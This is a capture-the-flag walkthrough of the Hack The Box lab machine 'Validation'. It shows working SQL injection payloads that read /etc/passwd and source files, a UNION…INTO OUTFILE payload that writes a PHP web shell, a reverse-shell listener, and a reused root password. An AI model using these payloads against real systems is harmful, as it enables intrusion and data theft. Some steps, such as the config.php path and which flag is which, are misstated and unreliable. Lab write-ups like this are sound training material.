Validation is another machine from the UHC event and is currently live on Hack The Box as a retired machine. It starts with enumeration on a website and identifying a second order SQL injection. The SQL user can use various SQL functions, two of which allow for file read and file write. The web configuration, which contains database credentials, can be read using the file read ability. With the file write ability and also write permission on the web root, it is possible to drop a web shell to gain a foothold on the system. For the root part, the password for the database is found to be re-used by the root account.
- Web enumeration
- SQL injection
- Burp Suite
All TCP ports scan with
nmap discovers 4 open ports: SSH on 22, three web servers on 80, 4566 (probably LocalStack), and 8080.
→ kali@kali «validation» «10.10.14.5» $ fscan 10.10.11.116 validation nmap -p- 10.10.11.116 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//' nmap -p 22,80,4566,5000,5001,5002,5003,5004,5005,5006,5007,5008,8080 -sC -sV -oA nmap/all-tcp-ports-validation 10.10.11.116 Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-22 16:46 EDT Nmap scan report for 10.10.11.116 Host is up (0.051s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA) | 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA) |_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519) 80/tcp open http Apache httpd 2.4.48 ((Debian)) |_http-server-header: Apache/2.4.48 (Debian) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 4566/tcp open http nginx |_http-title: 403 Forbidden 5000/tcp filtered upnp 5001/tcp filtered commplex-link 5002/tcp filtered rfe 5003/tcp filtered filemaker 5004/tcp filtered avt-profile-1 5005/tcp filtered avt-profile-2 5006/tcp filtered wsm-server 5007/tcp filtered wsm-server-ssl 5008/tcp filtered synapsis-edge 8080/tcp open http nginx |_http-title: 502 Bad Gateway Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.07 seconds
The filtered ports indicate that there are some firewall/IP table rules applied on the machine.
TCP 80 - Website
Port 80 presents a registration page of UHC. Adding
index.php reveals that it’s PHP site.
I can register on it, and it redirects to
/account.php. The submitted inputs (country and username) are reflected back here, and this can be an indicator for injection point.
The HTTP request for register, which was previously intercepted using Burp Suite, is as follows:
POST /index.php HTTP/1.1 Host: 10.10.11.116 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 35 Origin: http://10.10.11.116 Connection: close Referer: http://10.10.11.116/index.php Upgrade-Insecure-Requests: 1 username=choropys&country=Indonesia
And the server responses with
302 which redirects to
HTTP/1.1 302 Found Date: Wed, 22 Sep 2021 21:08:19 GMT Server: Apache/2.4.48 (Debian) X-Powered-By: PHP/7.4.23 Set-Cookie: user=f1bffe3047f1550d765a66e3ac54515c Location: /account.php Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
The response also contains a cookie which is
md5sum of the username.
→ kali@kali «validation» «10.10.14.5» $ echo -n 'choropys' | md5sum f1bffe3047f1550d765a66e3ac54515c
I will submit another registration request with the following payload,
POST /index.php HTTP/1.1 Host: 10.10.11.116 ...[SNIP]... username=choropys'&country=Indonesia'
Now when I navigate to
/account.php with updated cookie, the page displays an error message.
If I search for
fetch_assoc() on Google, it’s a PHP function that typically used to handle database records.
Now if I change the
country value to
Indonesia' -- # , the page doesn’t error out. From here, I can assume that the site is vulnerable to SQL injection.
I will submit
country=Indonesia'ORDER BY 1,2 -- # to identify the number of available columns, and the
/account.php page returns with the same error.
So the query in the backend only wants a single column.
I couldn’t find any credentials on the database, but I found out that the MySQL
load_file() function isn’t restricted. I can read the
/etc/passwd file using that function.
username=choropys&country='UNION SELECT load_file('/etc/passwd') -- #
When I refresh
Since the location of
account.php has been leaked by the error message, I can try to load that file with
country='UNION SELECT load_file('/var/www/html/account.php') -- #. When I refresh the
account.php page and view its source, the source code of
account.php is there, and it also leaks the configuration file.
I can try to read
config.php by changing my payload to
country='UNION SELECT load_file('/var/www/html/account.php') -- #, and it reveals database credentials.
I will note these creds.
Shell as www-data
I also find that writing files is allowed on
/var/www/html/, therefore I could put a web shell there.
username=choropys&country='UNION SELECT "<?php system($_REQUEST[c]); ?>" INTO OUTFILE "/var/www/html/chrp.php" -- #
And now I have code execution.
The system does have bash, but my reverse shell doesn’t work with the GET method, so I changed the request to use the POST method and URL encode the payload.
On my listener
→ kali@kali «validation» «10.10.14.5» $ nc -nvlp 21 listening on [any] 21 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.11.116] 37096 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@validation:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
I will upgrade my shell.
www-data@validation:/var/www/html$ which script which script /usr/bin/script www-data@validation:/var/www/html$ script /dev/null -c bash script /dev/null -c bash Script started, output log file is '/dev/null'. www-data@validation:/var/www/html$ ^Z  + 113 suspended nc -nvlp 21 → root@kali «exploits» «10.10.14.49» $ stty raw -echo; fg  + 113 continued nc -nvlp 21 www-data@validation:/var/www/html$
The root flag is readable by others, so I could grab it.
www-data@validation:/home/htb$ ls -lR /home /home: total 4 drwxr-xr-x 2 root root 4096 Sep 9 12:09 htb /home/htb: total 4 -rw-r--r-- 2 root root 33 Sep 22 22:14 user.txt
I also noticed that I’m inside a Docker container because there is
.dockerenv at the root file system
www-data@validation:/$ ls -l .dockerenv -rwxr-xr-x 2 root root 0 Sep 16 13:39 .dockerenv
Shell as root
In the previous enumeration using SQLi, I didn’t see user htb listed in the
/etc/passwd file, and it’s only root that has a login shell. So I tried the database password I obtained from the
config.php file on root, and it worked.
www-data@validation:/$ su - su - Password: uhc-9qual-global-pw root@validation:~#
I thought I needed to escape from this container, but when I checked the
/root/ directory, the root flag was there.
root@validation:/# ls -l /root/root.txt -r-------- 2 root root 33 Sep 22 22:14 root.txt
I also briefly thought that maybe a player had left a copy of the root flag of the host in this container. But, after I watched the official walkthrough video by ippsec and read the writeup by 0xdf, the box ended this way 😅.